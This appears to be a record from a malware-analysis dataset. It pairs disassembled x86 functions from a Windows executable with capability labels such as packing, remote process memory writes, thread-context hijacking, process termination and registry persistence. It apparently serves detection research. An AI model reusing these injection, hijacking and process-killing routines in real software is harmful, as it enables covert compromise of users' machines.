joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409cc0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
test eax, eax
jle 0x409d6f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push edi
mov edi, dword [esp + 0x18]
cmp eax, 0x2d
jne 0x409d01
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [esp + 0x18]
mov ecx, dword [0x2b6eb48]
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov dword [0x2b6eb48], ecx
mov dl, byte [0x2b6eb4a]
mov ecx, dword [esp + 0x14]
xor byte [esi + ecx], dl
cmp eax, 0xf
jne 0x409d63
push 0
push 0
push 0
call ebx
push str.jucoyasiletarapifefixud
call ebp
push str.rotumigapuliji
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push edi
push str.tejuwitemufo
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x409ce2
pop edi
pop ebp
pop ebx
pop esi
cmp eax, 0x2d
jne 0x409d89
mov dword [0x2b6ee30], 0xa62e7790
mov dword [0x2b6ee34], 0xffffffff
ret

Function at 0x409d90
Capabilities:
Manipulate console buffer
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x448004]
xor eax, esp
mov dword [esp + 0x420], eax
mov eax, dword [0x2b6ee24]
push ebx
mov ebx, dword [0x2b6eb4c]
push esi
push edi
mov edi, eax
cmp eax, 0x5dd
jne 0x409ddd
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x34]
push edx
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
mov eax, dword [0x2b6ee24]
mov esi, dword [0x448ed0]
cmp eax, 0x930
jne 0x409df7
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b6ee24]
mov dword [0x2b6eb48], esi
cmp eax, 0x114e
jne 0x409e1f
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2b6ee24]
cmp eax, 0x2f
jne 0x409e63
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push edi
push ebx
call fcn.00409cc0
mov ecx, dword [esp + 0x434]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040105b
add esp, 0x428
ret
Function at 0x4d97c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x49a015
lea edi, [esi - 0x99015]
push edi
or ebp, 0xffffffff
jmp 0x4d97e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d97e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d97d8
mov eax, 1
add ebx, ebx
jne 0x4d97fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d980c
jne 0x4d982b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d982b
dec eax
add ebx, ebx
jne 0x4d9818
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d97f0
add ebx, ebx
jne 0x4d9827
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d987d
xor ecx, ecx
sub eax, 3
jb 0x4d9843
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d98b2
sar eax, 1
mov ebp, eax
jmp 0x4d984e
add ebx, ebx
jne 0x4d984e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d981c
inc ecx
add ebx, ebx
jne 0x4d985c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d981c
add ebx, ebx
jne 0x4d9869
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d985e
jne 0x4d987a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d985e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d989c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d988e
jmp 0x4d97de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d989c
add edi, ecx
jmp 0x4d97de
pop esi
mov edi, esi
mov ecx, 0x301c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d98ba
cmp byte [edi], 0xa
jne 0x4d98ba
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d98bf
lea edi, [esi + 0xd7000]
mov eax, dword [edi]
or eax, eax
je 0x4d992e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd9000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd903c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d98ec
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd9044]
or eax, eax
je 0x4d9928
mov dword [ebx], eax
add ebx, 4
jmp 0x4d9909
call dword [esi + 0xd9040]
mov ebp, dword [esi + 0xd9048]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0xd9989]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d997a
sub esp, 0xffffff80
jmp 0x4014e0
Function at 0x402724
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040317c
test esi, esi
jne 0x40275a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040326c
jmp 0x402778
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025d8
mov edi, eax
test esi, esi
je 0x402778
cmp dword [ebx], 0
je 0x402778
dec esi
jmp 0x402761
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402920
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x412014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4029b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402998
xor eax, eax
push ebp
push 0x402991
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4029d4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402998
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x412014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x412014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403000
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x413034], 0
je 0x403061
cmp word [0x413208], 0xd7b2
jne 0x403029
cmp dword [0x413210], 0
jbe 0x403029
mov eax, 0x413204
call dword [0x413220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x41205c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403088
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x412020], 0
jne 0x40307d
push 0
push 0x412054
push 0x41205c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403fc8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40402e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004033a4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402814
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404018
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404035
lea eax, [ebp - 0x10]
call fcn.0040317c
ret
Function at 0x4050e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push ebp
push 0x4051e5
push dword fs:[ebx]
mov dword fs:[ebx], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
xor ebx, ebx
mov dword [0x41369c], ebx
xor ebx, ebx
mov dword [0x413698], ebx
mov dword [0x413688], eax
mov dword [0x41368c], edx
cmp dword [0x413688], 0
je 0x4051d7
mov eax, dword [0x413688]
mov dword [ecx], eax
mov edi, dword [0x413688]
mov ax, word [edi]
not ax
cmp ax, 0x5a4d
je 0x4051d7
mov esi, dword [edi + 0x3c]
add esi, edi
push 0xf8
push esi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x4051d7
cmp dword [esi], 0x4550
jne 0x4051d7
mov eax, esi
call fcn.004050c8
test al, al
jne 0x4051d7
mov ebx, esi
add ebx, 0xf8
mov ax, word [esi + 6]
cmp ax, 0x64
jae 0x4051d7
movzx eax, ax
dec eax
test eax, eax
jl 0x4051d7
inc eax
mov esi, eax
mov edx, 0x4051f8
mov eax, ebx
mov ecx, 8
call fcn.00404640
test eax, eax
jne 0x4051d1
mov eax, dword [ebx + 0x14]
add eax, edi
mov dword [0x413690], eax
mov eax, dword [0x413690]
call fcn.004050c8
test al, al
jne 0x4051d7
mov eax, dword [0x413690]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0xc]
mov dword [0x413694], eax
mov eax, dword [ebp + 8]
mov edx, dword [0x413694]
mov dword [eax], edx
jmp 0x4051d7
add ebx, 0x28
dec esi
jne 0x405187
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4051ec
ret
Function at 0x4055e8
Capabilities:
Clear file content
Get file size

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x4055f0
push ecx
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x4057ec
push dword fs:[edx]
mov dword fs:[edx], esp
test al, al
je 0x405634
lea edx, [ebp - 0x14]
mov eax, 0x405804
call fcn.00404d28
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
call fcn.00405548
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0xc]
pop ecx
call fcn.00403408
jmp 0x405659
lea edx, [ebp - 0x1c]
mov eax, 0x405814
call fcn.00404d28
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
call fcn.00405598
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0xc]
pop ecx
call fcn.00403408
mov eax, dword [ebp - 0xc]
call fcn.00404b24
test al, al
je 0x4057d1
mov edx, 2
mov eax, dword [ebp - 0xc]
call fcn.00404b34
mov esi, eax
cmp esi, 0xffffffff
je 0x4057d1
push 0
push esi
call sub.kernel32.dll_GetFileSize
mov ebx, eax
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004036ec
mov eax, dword [ebp - 8]
call fcn.004035bc
mov edx, eax
mov ecx, ebx
mov eax, esi
call fcn.00404660
xor ebx, ebx
jmp 0x405791
mov edx, dword [ebp - 8]
mov eax, 0x405830
call fcn.004036a4
mov edi, eax
test edi, edi
jne 0x4056cf
lea edx, [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.00404928
jmp 0x405721
lea eax, [ebp - 0x24]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.0040361c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 4]
call fcn.00404928
lea eax, [ebp - 0x28]
push eax
lea edx, [edi + 1]
mov ecx, 1
mov eax, dword [ebp - 8]
call fcn.0040361c
mov eax, dword [ebp - 0x28]
mov edx, 0x40583c
call fcn.00403508
jne 0x405712
inc edi
lea eax, [ebp - 8]
mov ecx, edi
mov edx, 1
call fcn.0040365c
cmp dword [ebp - 4], 0
je 0x405775
lea eax, [ebp - 0x2c]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040361c
mov eax, dword [ebp - 0x2c]
mov edx, 0x405848
call fcn.00403508
je 0x405775
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.004046b4
mov eax, dword [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
mov eax, 0x405854
call fcn.00404d28
mov eax, dword [ebp - 0x34]
pop edx
call fcn.004036a4
test eax, eax
je 0x40578f
push dword [ebp - 0x10]
push dword [ebp - 4]
push 0x405868
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.0040347c
jmp 0x405791
mov bl, 1
cmp dword [ebp - 8], 0
jne 0x4056af
test bl, bl
je 0x4057cb
xor ecx, ecx
xor edx, edx
mov eax, esi
call fcn.00404978
mov eax, dword [ebp - 0x10]
call fcn.004033bc
push eax
mov eax, dword [ebp - 0x10]
call fcn.004035bc
mov edx, eax
mov eax, esi
pop ecx
call fcn.004049a8
push esi
call sub.kernel32.dll_SetEndOfFile
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4057f3
lea eax, [ebp - 0x34]
mov edx, 0xd
call fcn.004031a0
ret
Function at 0x406804
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00405cc8
mov dword [0x4136dc], eax
cmp dword [0x4136dc], 0
je 0x4068a5
cmp dword [0x4136ec], 0
je 0x4068a5
cmp dword [0x4136f0], 0
je 0x4068a5
mov eax, dword [0x4136dc]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4136dc]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x40688c
push esi
lea esi, [esp + 4]
mov edi, 0x4136f4
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x4136ec]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4136dc]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x4136dc]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x407074
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4071a8
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov esi, 0x407018
sub esi, 0x407008
push edi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [0x413800], eax
cmp dword [0x413800], 0
je 0x40718d
push 0x40
push 0x1000
push esi
push 0
mov eax, dword [0x413800]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x413804], eax
cmp dword [0x413804], 0
je 0x40718b
lea edx, [ebp - 0x10]
mov eax, 0x4071c0
call fcn.00404d28
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetModuleHandleA_1
mov ebx, eax
lea edx, [ebp - 0x14]
mov eax, 0x4071d8
call fcn.00404d28
mov eax, dword [ebp - 0x14]
call fcn.004035bc
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
call fcn.0040701c
mov dword [ebp - 0xc], eax
push esi
push 0
call sub.kernel32.dll_GlobalAlloc
mov ebx, eax
test ebx, ebx
je 0x40718b
mov edx, ebx
mov eax, 0x407008
mov ecx, esi
call fcn.00402598
mov edx, esi
sub edx, 5
test edx, edx
jl 0x40716e
inc edx
mov dword [ebp - 4], 0
mov eax, ebx
add eax, dword [ebp - 4]
cmp dword [eax], 0x11111111
jne 0x407168
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
inc dword [ebp - 4]
dec edx
jne 0x407156
lea eax, [ebp - 8]
push eax
push esi
push ebx
mov eax, dword [0x413804]
push eax
mov eax, dword [0x413800]
push eax
call sub.kernel32.dll_WriteProcessMemory
push ebx
call sub.kernel32.dll_GlobalFree
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4071af
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004031a0
ret
Function at 0x4071e4
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff34
mov esi, eax
xor ebx, ebx
push 0
push esi
call fcn.00406d38
mov dword [0x4137fc], eax
cmp dword [0x4137fc], 0
je 0x40727c
cmp dword [0x413804], 0
je 0x40727c
mov eax, dword [0x4137fc]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4137fc]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x407263
push esi
lea esi, [esp + 4]
mov edi, 0x413808
mov ecx, 0x33
rep movsd dword es:[edi], dword [esi]
pop esi
mov eax, dword [0x413804]
mov dword [esp + 0xb8], eax
mov dword [esp], 0x10007
push esp
mov eax, dword [0x4137fc]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [0x4137fc]
push eax
call sub.kernel32.dll_ResumeThread
push 0
push 0
push 0
push esi
call sub.user32.dll_PostThreadMessageA
mov bl, 1
mov eax, ebx
add esp, 0xcc
pop edi
pop esi
pop ebx
ret

Function at 0x4072fc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
xor eax, eax
push ebp
push 0x4073b8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040317c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
jbe 0x40739a
mov eax, ebx
call fcn.00402494
mov esi, eax
push esi
push ebx
push 0
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.version.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10]
mov eax, 0x4073d0
call fcn.00404d28
mov eax, dword [ebp - 0x10]
call fcn.004035bc
push eax
push esi
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x407391
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.0040483c
mov edx, ebx
mov eax, esi
call fcn.004024b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4073bf
lea eax, [ebp - 0x10]
call fcn.0040317c
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x407698
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed4
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
lea esi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x407749
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004073f4
xor edx, edx
mov eax, 0xf
call fcn.00405af0
mov ebx, eax
mov dword [esi], 0x128
mov edx, esi
mov eax, ebx
call fcn.00405b10
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x407729
push ebp
mov eax, dword [esi + 8]
call fcn.00407444
pop ecx
test al, al
je 0x40771a
mov eax, dword [esi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
je 0x40772d
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
jmp 0x40772d
mov edx, esi
mov eax, ebx
call fcn.00405b30
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4076e9
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407750
lea eax, [ebp - 4]
call fcn.0040317c
ret

Function at 0x407a80
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004035ac
lea edi, [ebp - 0x12d]
xor eax, eax
push ebp
push 0x407bfc
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
mov eax, 0xf
call fcn.00405af0
mov esi, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, esi
call fcn.00405b10
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x407bc8
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.004047a4
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 4]
call fcn.0040476c
test eax, eax
je 0x407b42
lea eax, [ebp - 0x13c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004033a4
mov eax, dword [ebp - 0x13c]
mov edx, dword [ebp - 4]
call fcn.0040476c
test eax, eax
jne 0x407bb9
mov eax, dword [edi + 8]
push eax
push 0xffffffffffffffff
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x407b6e
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x407b72
mov byte [ebp - 5], 0
cmp byte [ebp - 5], 0
jne 0x407bb9
call fcn.00407a58
test al, al
jne 0x407bb9
mov edx, dword [edi + 8]
mov eax, 1
call fcn.00407940
mov ebx, eax
test ebx, ebx
je 0x407bb9
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
push ebx
call sub.kernel32.dll_CloseHandle
cmp byte [ebp - 5], 0
jne 0x407bb9
mov eax, dword [edi + 8]
call fcn.00407288
mov edx, edi
mov eax, esi
call fcn.00405b30
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x407ae7
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407c03
lea eax, [ebp - 0x13c]
mov edx, 3
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret
Function at 0x4089e4
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffe2c
mov dword [esp], eax
mov edi, 0x4139a4
lea eax, [esp + 0x44]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov eax, dword [esp]
call fcn.0040317c
push 0x40
lea eax, [esp + 8]
push eax
call sub.wsock32.dll_gethostname
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x408a7e
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x408a72
test ebx, ebx
jne 0x408a42
push dword [ebp]
call sub.wsock32.dll_inet_ntoa
mov edx, dword [esp]
call fcn.0040483c
mov eax, dword [edi]
call fcn.00403c7c
inc eax
push eax
mov eax, edi
mov ecx, 1
mov edx, dword [0x408398]
call fcn.00403e38
add esp, 4
mov eax, dword [edi]
call fcn.00403c84
mov edx, dword [edi]
mov ecx, dword [esi + ebx*4]
mov ecx, dword [ecx]
mov dword [edx + eax*4], ecx
inc ebx
mov ebp, dword [esi + ebx*4]
test ebp, ebp
jne 0x408a2e
call sub.wsock32.dll_WSACleanup
add esp, 0x1d4
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408a8c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
xor eax, eax
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x408c26
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x114]
call fcn.004083c4
push dword [ebp - 0x114]
push 0x408c3c
lea edx, [ebp - 0x118]
mov eax, 0x408c50
call fcn.00404d28
push dword [ebp - 0x118]
lea eax, [ebp - 4]
mov edx, 3
call fcn.0040347c
mov eax, dword [ebp - 4]
call fcn.00404984
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408b33
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [0x4139c8]
push eax
mov eax, dword [0x4139b4]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
call fcn.00404b24
test al, al
je 0x408c00
cmp byte [0x4201ec], 0
je 0x408b9b
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
lea edx, [ebp - 0x11c]
mov eax, 0x408c68
call fcn.00404d28
mov eax, dword [ebp - 0x11c]
call fcn.004035bc
push eax
lea edx, [ebp - 0x120]
mov eax, 0x408c78
call fcn.00404d28
mov eax, dword [ebp - 0x120]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000002
pop ecx
call fcn.00405020
jmp 0x408c00
push 0x104
lea eax, [ebp - 0x10e]
push eax
mov eax, dword [ebp - 4]
call fcn.004035bc
push eax
call sub.kernel32.dll_GetShortPathNameA
lea eax, [ebp - 0x10e]
push eax
lea edx, [ebp - 0x124]
mov eax, 0x408c68
call fcn.00404d28
mov eax, dword [ebp - 0x124]
call fcn.004035bc
push eax
lea edx, [ebp - 0x128]
mov eax, 0x408cb0
call fcn.00404d28
mov eax, dword [ebp - 0x128]
call fcn.004035bc
mov edx, eax
mov eax, 0x80000001
pop ecx
call fcn.00405020
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408c2d
lea eax, [ebp - 0x128]
mov edx, 6
call fcn.004031a0
lea eax, [ebp - 4]
call fcn.0040317c
ret